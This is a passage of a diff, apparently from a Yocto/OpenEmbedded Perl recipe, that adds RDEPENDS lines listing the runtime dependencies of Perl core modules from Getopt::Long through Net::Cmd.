+RDEPENDS:perl-module-getopt-long += "perl-module-vars"
+RDEPENDS:perl-module-getopt-long += "perl-module-warnings"
+RDEPENDS:perl-module-getopt-std += "perl-module-exporter"
+RDEPENDS:perl-module-getopt-std += "perl-module-strict"
+RDEPENDS:perl-module-getopt-std += "perl-module-warnings"
+RDEPENDS:perl-module-hash-util-fieldhash += "perl-module-exporter"
+RDEPENDS:perl-module-hash-util-fieldhash += "perl-module-strict"
+RDEPENDS:perl-module-hash-util-fieldhash += "perl-module-warnings"
+RDEPENDS:perl-module-hash-util-fieldhash += "perl-module-xsloader"
+RDEPENDS:perl-module-hash-util += "perl-module-exporter"
+RDEPENDS:perl-module-hash-util += "perl-module-hash-util-fieldhash"
+RDEPENDS:perl-module-hash-util += "perl-module-strict"
+RDEPENDS:perl-module-hash-util += "perl-module-warnings"
+RDEPENDS:perl-module-hash-util += "perl-module-warnings-register"
+RDEPENDS:perl-module-hash-util += "perl-module-xsloader"
+RDEPENDS:perl-module-i18n-collate += "perl-module-exporter"
+RDEPENDS:perl-module-i18n-collate += "perl-module-overload"
+RDEPENDS:perl-module-i18n-collate += "perl-module-posix"
+RDEPENDS:perl-module-i18n-collate += "perl-module-strict"
+RDEPENDS:perl-module-i18n-collate += "perl-module-warnings-register"
+RDEPENDS:perl-module-i18n-langinfo += "perl-module-exporter"
+RDEPENDS:perl-module-i18n-langinfo += "perl-module-strict"
+RDEPENDS:perl-module-i18n-langinfo += "perl-module-warnings"
+RDEPENDS:perl-module-i18n-langinfo += "perl-module-xsloader"
+RDEPENDS:perl-module-i18n-langtags-detect += "perl-module-i18n-langtags"
+RDEPENDS:perl-module-i18n-langtags-detect += "perl-module-strict"
+RDEPENDS:perl-module-i18n-langtags-list += "perl-module-strict"
+RDEPENDS:perl-module-i18n-langtags += "perl-module-exporter"
+RDEPENDS:perl-module-i18n-langtags += "perl-module-strict"
+RDEPENDS:perl-module-if += "perl-module-strict"
+RDEPENDS:perl-module-io-compress-adapter-bzip2 += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-adapter-bzip2 += "perl-module-compress-raw-bzip2"
+RDEPENDS:perl-module-io-compress-adapter-bzip2 += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-adapter-bzip2 += "perl-module-strict"
+RDEPENDS:perl-module-io-compress-adapter-bzip2 += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-adapter-deflate += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-adapter-deflate += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-compress-adapter-deflate += "perl-module-exporter"
+RDEPENDS:perl-module-io-compress-adapter-deflate += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-adapter-deflate += "perl-module-strict"
+RDEPENDS:perl-module-io-compress-adapter-deflate += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-adapter-identity += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-adapter-identity += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-adapter-identity += "perl-module-strict"
+RDEPENDS:perl-module-io-compress-adapter-identity += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-constant"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-encode"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-exporter"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-file-globmapper"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-strict"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-utf8"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-base += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-base += "perl-module-io-file"
+RDEPENDS:perl-module-io-compress-base += "perl-module-io-handle "
+RDEPENDS:perl-module-io-compress-base += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-base += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-bzip2 += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-bzip2 += "perl-module-exporter "
+RDEPENDS:perl-module-io-compress-bzip2 += "perl-module-io-compress-adapter-bzip2"
+RDEPENDS:perl-module-io-compress-bzip2 += "perl-module-io-compress-base"
+RDEPENDS:perl-module-io-compress-bzip2 += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-bzip2 += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-bzip2 += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-exporter "
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-io-compress-adapter-deflate"
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-io-compress-rawdeflate"
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-io-compress-zlib-constants"
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-gzip-constants += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-gzip-constants += "perl-module-constant"
+RDEPENDS:perl-module-io-compress-gzip-constants += "perl-module-exporter"
+RDEPENDS:perl-module-io-compress-gzip-constants += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-gzip-constants += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-exporter "
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-io-compress-adapter-deflate"
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-io-compress-gzip-constants"
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-io-compress-rawdeflate"
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-io-compress-zlib-extra"
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-exporter "
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-fcntl"
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-io-compress-adapter-deflate"
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-io-compress-base"
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-zip-constants += "perl-module-constant"
+RDEPENDS:perl-module-io-compress-zip-constants += "perl-module-exporter"
+RDEPENDS:perl-module-io-compress-zip-constants += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-zip-constants += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-config"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-exporter "
+RDEPENDS:perl-module-io-compress-zip += "perl-module-fcntl"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-io-compress-adapter-deflate"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-io-compress-adapter-identity"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-io-compress-bzip2 "
+RDEPENDS:perl-module-io-compress-zip += "perl-module-io-compress-rawdeflate"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-io-compress-zip-constants"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-io-compress-zlib-extra"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-zip += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-zlib-constants += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-zlib-constants += "perl-module-constant"
+RDEPENDS:perl-module-io-compress-zlib-constants += "perl-module-exporter"
+RDEPENDS:perl-module-io-compress-zlib-constants += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-zlib-constants += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-zlib-extra += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-zlib-extra += "perl-module-io-compress-gzip-constants"
+RDEPENDS:perl-module-io-compress-zlib-extra += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-zlib-extra += "perl-module-warnings"
+RDEPENDS:perl-module-io-dir += "perl-module-exporter"
+RDEPENDS:perl-module-io-dir += "perl-module-file-stat"
+RDEPENDS:perl-module-io-dir += "perl-module-io-file"
+RDEPENDS:perl-module-io-dir += "perl-module-strict"
+RDEPENDS:perl-module-io-dir += "perl-module-tie-hash"
+RDEPENDS:perl-module-io-file += "perl-module-exporter"
+RDEPENDS:perl-module-io-file += "perl-module-fcntl"
+RDEPENDS:perl-module-io-file += "perl-module-io-seekable"
+RDEPENDS:perl-module-io-file += "perl-module-selectsaver"
+RDEPENDS:perl-module-io-file += "perl-module-strict"
+RDEPENDS:perl-module-io-handle += "perl-module-exporter"
+RDEPENDS:perl-module-io-handle += "perl-module-io"
+RDEPENDS:perl-module-io-handle += "perl-module-io-file"
+RDEPENDS:perl-module-io-handle += "perl-module-selectsaver"
+RDEPENDS:perl-module-io-handle += "perl-module-strict"
+RDEPENDS:perl-module-io += "perl-module-strict"
+RDEPENDS:perl-module-io += "perl-module-warnings"
+RDEPENDS:perl-module-io += "perl-module-xsloader"
+RDEPENDS:perl-module-io-pipe += "perl-module-fcntl"
+RDEPENDS:perl-module-io-pipe += "perl-module-io-handle"
+RDEPENDS:perl-module-io-pipe += "perl-module-strict"
+RDEPENDS:perl-module-io-poll += "perl-module-exporter"
+RDEPENDS:perl-module-io-poll += "perl-module-io-handle"
+RDEPENDS:perl-module-io-poll += "perl-module-strict"
+RDEPENDS:perl-module-io-seekable += "perl-module-exporter"
+RDEPENDS:perl-module-io-seekable += "perl-module-fcntl"
+RDEPENDS:perl-module-io-seekable += "perl-module-io-handle"
+RDEPENDS:perl-module-io-seekable += "perl-module-strict"
+RDEPENDS:perl-module-io-select += "perl-module-exporter"
+RDEPENDS:perl-module-io-select += "perl-module-strict"
+RDEPENDS:perl-module-io-select += "perl-module-warnings-register"
+RDEPENDS:perl-module-io-socket-inet += "perl-module-errno"
+RDEPENDS:perl-module-io-socket-inet += "perl-module-exporter"
+RDEPENDS:perl-module-io-socket-inet += "perl-module-io-socket"
+RDEPENDS:perl-module-io-socket-inet += "perl-module-socket"
+RDEPENDS:perl-module-io-socket-inet += "perl-module-strict"
+RDEPENDS:perl-module-io-socket-ip += "perl-module-base"
+RDEPENDS:perl-module-io-socket-ip += "perl-module-constant"
+RDEPENDS:perl-module-io-socket-ip += "perl-module-errno"
+RDEPENDS:perl-module-io-socket-ip += "perl-module-posix"
+RDEPENDS:perl-module-io-socket-ip += "perl-module-socket"
+RDEPENDS:perl-module-io-socket-ip += "perl-module-strict"
+RDEPENDS:perl-module-io-socket-ip += "perl-module-warnings"
+RDEPENDS:perl-module-io-socket += "perl-module-errno"
+RDEPENDS:perl-module-io-socket += "perl-module-exporter"
+RDEPENDS:perl-module-io-socket += "perl-module-io-handle"
+RDEPENDS:perl-module-io-socket += "perl-module-io-select"
+RDEPENDS:perl-module-io-socket += "perl-module-io-socket-inet"
+RDEPENDS:perl-module-io-socket += "perl-module-io-socket-unix"
+RDEPENDS:perl-module-io-socket += "perl-module-socket"
+RDEPENDS:perl-module-io-socket += "perl-module-strict"
+RDEPENDS:perl-module-io-socket-unix += "perl-module-io-socket"
+RDEPENDS:perl-module-io-socket-unix += "perl-module-strict"
+RDEPENDS:perl-module-io-uncompress-adapter-bunzip2 += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-adapter-bunzip2 += "perl-module-compress-raw-bzip2"
+RDEPENDS:perl-module-io-uncompress-adapter-bunzip2 += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-adapter-bunzip2 += "perl-module-strict"
+RDEPENDS:perl-module-io-uncompress-adapter-bunzip2 += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-adapter-identity += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-adapter-identity += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-uncompress-adapter-identity += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-adapter-identity += "perl-module-io-compress-zip-constants "
+RDEPENDS:perl-module-io-uncompress-adapter-identity += "perl-module-strict"
+RDEPENDS:perl-module-io-uncompress-adapter-identity += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-adapter-inflate += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-adapter-inflate += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-uncompress-adapter-inflate += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-adapter-inflate += "perl-module-strict"
+RDEPENDS:perl-module-io-uncompress-adapter-inflate += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-exporter "
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-adapter-inflate"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-base"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-gunzip"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-inflate"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-rawinflate"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-unzip"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-strict"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-anyuncompress += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-anyuncompress += "perl-module-exporter "
+RDEPENDS:perl-module-io-uncompress-anyuncompress += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-anyuncompress += "perl-module-io-uncompress-base"
+RDEPENDS:perl-module-io-uncompress-anyuncompress += "perl-module-strict"
+RDEPENDS:perl-module-io-uncompress-anyuncompress += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-base += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-base += "perl-module-constant"
+RDEPENDS:perl-module-io-uncompress-base += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-base += "perl-module-io-file "
+RDEPENDS:perl-module-io-uncompress-base += "perl-module-list-util"
+RDEPENDS:perl-module-io-uncompress-base += "perl-module-strict "
+RDEPENDS:perl-module-io-uncompress-base += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-bunzip2 += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-bunzip2 += "perl-module-exporter "
+RDEPENDS:perl-module-io-uncompress-bunzip2 += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-bunzip2 += "perl-module-io-uncompress-adapter-bunzip2"
+RDEPENDS:perl-module-io-uncompress-bunzip2 += "perl-module-io-uncompress-base"
+RDEPENDS:perl-module-io-uncompress-bunzip2 += "perl-module-strict "
+RDEPENDS:perl-module-io-uncompress-bunzip2 += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-exporter "
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-io-compress-gzip-constants"
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-io-compress-zlib-extra"
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-io-uncompress-rawinflate"
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-strict "
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-inflate += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-inflate += "perl-module-exporter "
+RDEPENDS:perl-module-io-uncompress-inflate += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-inflate += "perl-module-io-compress-zlib-constants"
+RDEPENDS:perl-module-io-uncompress-inflate += "perl-module-io-uncompress-rawinflate"
+RDEPENDS:perl-module-io-uncompress-inflate += "perl-module-strict "
+RDEPENDS:perl-module-io-uncompress-inflate += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-exporter "
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-io-uncompress-adapter-inflate"
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-io-uncompress-base"
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-strict "
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-constant"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-encode"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-exporter "
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-fcntl"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-io-compress-zip-constants"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-io-compress-zlib-extra"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-io-file"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-io-uncompress-adapter-identity"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-io-uncompress-adapter-inflate"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-io-uncompress-rawinflate"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-posix"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-strict "
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-warnings"
+RDEPENDS:perl-module-io-zlib += "perl-module-fcntl"
+RDEPENDS:perl-module-io-zlib += "perl-module-io-handle"
+RDEPENDS:perl-module-io-zlib += "perl-module-strict"
+RDEPENDS:perl-module-io-zlib += "perl-module-tie-handle"
+RDEPENDS:perl-module-io-zlib += "perl-module-warnings"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-constant"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-exporter"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-filehandle"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-io-handle"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-io-select"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-ipc-open3"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-locale-maketext-simple"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-load"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-params-check"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-posix"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-socket"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-strict"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-text-parsewords"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-time-hires"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-vars"
+RDEPENDS:perl-module-ipc-msg += "perl-module-class-struct"
+RDEPENDS:perl-module-ipc-msg += "perl-module-ipc-sysv"
+RDEPENDS:perl-module-ipc-msg += "perl-module-strict"
+RDEPENDS:perl-module-ipc-msg += "perl-module-vars"
+RDEPENDS:perl-module-ipc-open2 += "perl-module-exporter"
+RDEPENDS:perl-module-ipc-open2 += "perl-module-ipc-open3"
+RDEPENDS:perl-module-ipc-open2 += "perl-module-strict"
+RDEPENDS:perl-module-ipc-open3 += "perl-module-constant"
+RDEPENDS:perl-module-ipc-open3 += "perl-module-exporter"
+RDEPENDS:perl-module-ipc-open3 += "perl-module-fcntl"
+RDEPENDS:perl-module-ipc-open3 += "perl-module-io-pipe"
+RDEPENDS:perl-module-ipc-open3 += "perl-module-posix"
+RDEPENDS:perl-module-ipc-open3 += "perl-module-strict"
+RDEPENDS:perl-module-ipc-semaphore += "perl-module-class-struct"
+RDEPENDS:perl-module-ipc-semaphore += "perl-module-ipc-sysv"
+RDEPENDS:perl-module-ipc-semaphore += "perl-module-strict"
+RDEPENDS:perl-module-ipc-semaphore += "perl-module-vars"
+RDEPENDS:perl-module-ipc-sharedmem += "perl-module-class-struct"
+RDEPENDS:perl-module-ipc-sharedmem += "perl-module-ipc-sysv"
+RDEPENDS:perl-module-ipc-sharedmem += "perl-module-strict"
+RDEPENDS:perl-module-ipc-sharedmem += "perl-module-vars"
+RDEPENDS:perl-module-ipc-sysv += "perl-module-config"
+RDEPENDS:perl-module-ipc-sysv += "perl-module-exporter"
+RDEPENDS:perl-module-ipc-sysv += "perl-module-strict"
+RDEPENDS:perl-module-ipc-sysv += "perl-module-vars"
+RDEPENDS:perl-module-ipc-sysv += "perl-module-xsloader"
+RDEPENDS:perl-module-json-pp-boolean += "perl-module-overload"
+RDEPENDS:perl-module-json-pp-boolean += "perl-module-strict"
+RDEPENDS:perl-module-json-pp += "perl-module-b"
+RDEPENDS:perl-module-json-pp += "perl-module-bytes"
+RDEPENDS:perl-module-json-pp += "perl-module-constant"
+RDEPENDS:perl-module-json-pp += "perl-module-encode"
+RDEPENDS:perl-module-json-pp += "perl-module-exporter"
+RDEPENDS:perl-module-json-pp += "perl-module-json-pp-boolean"
+RDEPENDS:perl-module-json-pp += "perl-module-math-bigfloat"
+RDEPENDS:perl-module-json-pp += "perl-module-math-bigint"
+RDEPENDS:perl-module-json-pp += "perl-module-overload"
+RDEPENDS:perl-module-json-pp += "perl-module-strict"
+RDEPENDS:perl-module-json-pp += "perl-module-subs"
+RDEPENDS:perl-module-less += "perl-module-strict"
+RDEPENDS:perl-module-less += "perl-module-warnings"
+RDEPENDS:perl-module-lib += "perl-module-config"
+RDEPENDS:perl-module-lib += "perl-module-strict"
+RDEPENDS:perl-module-list-util += "perl-module-exporter"
+RDEPENDS:perl-module-list-util += "perl-module-strict"
+RDEPENDS:perl-module-list-util += "perl-module-warnings"
+RDEPENDS:perl-module-list-util += "perl-module-xsloader"
+RDEPENDS:perl-module-list-util-xs += "perl-module-list-util"
+RDEPENDS:perl-module-list-util-xs += "perl-module-strict"
+RDEPENDS:perl-module-list-util-xs += "perl-module-warnings"
+RDEPENDS:perl-module-loaded += "perl-module-strict"
+RDEPENDS:perl-module-loaded += "perl-module-vars"
+RDEPENDS:perl-module-load += "perl-module-config"
+RDEPENDS:perl-module-load += "perl-module-constant"
+RDEPENDS:perl-module-load += "perl-module-exporter"
+RDEPENDS:perl-module-load += "perl-module-filehandle"
+RDEPENDS:perl-module-load += "perl-module-locale-maketext-simple"
+RDEPENDS:perl-module-load += "perl-module-corelist"
+RDEPENDS:perl-module-load += "perl-module-load"
+RDEPENDS:perl-module-load += "perl-module-params-check"
+RDEPENDS:perl-module-load += "perl-module-strict"
+RDEPENDS:perl-module-load += "perl-module-vars"
+RDEPENDS:perl-module-load += "perl-module-version"
+RDEPENDS:perl-module-load += "perl-module-warnings"
+RDEPENDS:perl-module-locale-maketext-gutsloader += "perl-module-locale-maketext"
+RDEPENDS:perl-module-locale-maketext-guts += "perl-module-locale-maketext"
+RDEPENDS:perl-module-locale-maketext += "perl-module-i18n-langtags"
+RDEPENDS:perl-module-locale-maketext += "perl-module-i18n-langtags-detect"
+RDEPENDS:perl-module-locale-maketext += "perl-module-integer"
+RDEPENDS:perl-module-locale-maketext += "perl-module-strict"
+RDEPENDS:perl-module-locale-maketext-simple += "perl-module-base"
+RDEPENDS:perl-module-locale-maketext-simple += "perl-module-strict"
+RDEPENDS:perl-module-locale += "perl-module-config"
+RDEPENDS:perl-module-locale += "perl-module-strict"
+RDEPENDS:perl-module-locale += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigfloat += "perl-module-exporter"
+RDEPENDS:perl-module-math-bigfloat += "perl-module-math-bigint"
+RDEPENDS:perl-module-math-bigfloat += "perl-module-math-complex"
+RDEPENDS:perl-module-math-bigfloat += "perl-module-overload"
+RDEPENDS:perl-module-math-bigfloat += "perl-module-strict"
+RDEPENDS:perl-module-math-bigfloat += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigfloat-trace += "perl-module-exporter"
+RDEPENDS:perl-module-math-bigfloat-trace += "perl-module-math-bigfloat"
+RDEPENDS:perl-module-math-bigfloat-trace += "perl-module-overload"
+RDEPENDS:perl-module-math-bigfloat-trace += "perl-module-strict"
+RDEPENDS:perl-module-math-bigfloat-trace += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigint-calc += "perl-module-constant"
+RDEPENDS:perl-module-math-bigint-calc += "perl-module-integer"
+RDEPENDS:perl-module-math-bigint-calc += "perl-module-math-bigint-lib"
+RDEPENDS:perl-module-math-bigint-calc += "perl-module-strict"
+RDEPENDS:perl-module-math-bigint-calc += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigint-fastcalc += "perl-module-math-bigint-calc"
+RDEPENDS:perl-module-math-bigint-fastcalc += "perl-module-strict"
+RDEPENDS:perl-module-math-bigint-fastcalc += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigint-fastcalc += "perl-module-xsloader"
+RDEPENDS:perl-module-math-bigint-lib += "perl-module-overload"
+RDEPENDS:perl-module-math-bigint-lib += "perl-module-strict"
+RDEPENDS:perl-module-math-bigint-lib += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigint += "perl-module-exporter"
+RDEPENDS:perl-module-math-bigint += "perl-module-math-bigfloat"
+RDEPENDS:perl-module-math-bigint += "perl-module-math-complex"
+RDEPENDS:perl-module-math-bigint += "perl-module-overload"
+RDEPENDS:perl-module-math-bigint += "perl-module-strict"
+RDEPENDS:perl-module-math-bigint += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigint-trace += "perl-module-exporter"
+RDEPENDS:perl-module-math-bigint-trace += "perl-module-math-bigint"
+RDEPENDS:perl-module-math-bigint-trace += "perl-module-overload"
+RDEPENDS:perl-module-math-bigint-trace += "perl-module-strict"
+RDEPENDS:perl-module-math-bigint-trace += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigrat += "perl-module-math-bigfloat"
+RDEPENDS:perl-module-math-bigrat += "perl-module-math-bigint"
+RDEPENDS:perl-module-math-bigrat += "perl-module-overload"
+RDEPENDS:perl-module-math-bigrat += "perl-module-strict"
+RDEPENDS:perl-module-math-bigrat += "perl-module-warnings"
+RDEPENDS:perl-module-math-complex += "perl-module-config"
+RDEPENDS:perl-module-math-complex += "perl-module-exporter"
+RDEPENDS:perl-module-math-complex += "perl-module-overload"
+RDEPENDS:perl-module-math-complex += "perl-module-strict"
+RDEPENDS:perl-module-math-complex += "perl-module-warnings"
+RDEPENDS:perl-module-math-trig += "perl-module-exporter"
+RDEPENDS:perl-module-math-trig += "perl-module-math-complex"
+RDEPENDS:perl-module-math-trig += "perl-module-strict"
+RDEPENDS:perl-module-memoize-anydbm-file += "perl-module-vars"
+RDEPENDS:perl-module-memoize += "perl-module-config"
+RDEPENDS:perl-module-memoize += "perl-module-exporter"
+RDEPENDS:perl-module-memoize += "perl-module-strict"
+RDEPENDS:perl-module-memoize += "perl-module-vars"
+RDEPENDS:perl-module-memoize-sdbm-file += "perl-module-sdbm-file"
+RDEPENDS:perl-module-memoize-storable += "perl-module-storable"
+RDEPENDS:perl-module-mime-base64 += "perl-module-exporter"
+RDEPENDS:perl-module-mime-base64 += "perl-module-strict"
+RDEPENDS:perl-module-mime-base64 += "perl-module-warnings"
+RDEPENDS:perl-module-mime-base64 += "perl-module-xsloader"
+RDEPENDS:perl-module-mime-quotedprint += "perl-module-exporter"
+RDEPENDS:perl-module-mime-quotedprint += "perl-module-mime-base64"
+RDEPENDS:perl-module-mime-quotedprint += "perl-module-strict"
+RDEPENDS:perl-module-mime-quotedprint += "perl-module-warnings"
+RDEPENDS:perl-module-mro += "perl-module-strict"
+RDEPENDS:perl-module-mro += "perl-module-warnings"
+RDEPENDS:perl-module-mro += "perl-module-xsloader"
+RDEPENDS:perl-module-net-cmd += "perl-module-constant"
+RDEPENDS:perl-module-net-cmd += "perl-module-errno"
+RDEPENDS:perl-module-net-cmd += "perl-module-exporter"
+RDEPENDS:perl-module-net-cmd += "perl-module-strict"
+RDEPENDS:perl-module-net-cmd += "perl-module-warnings"
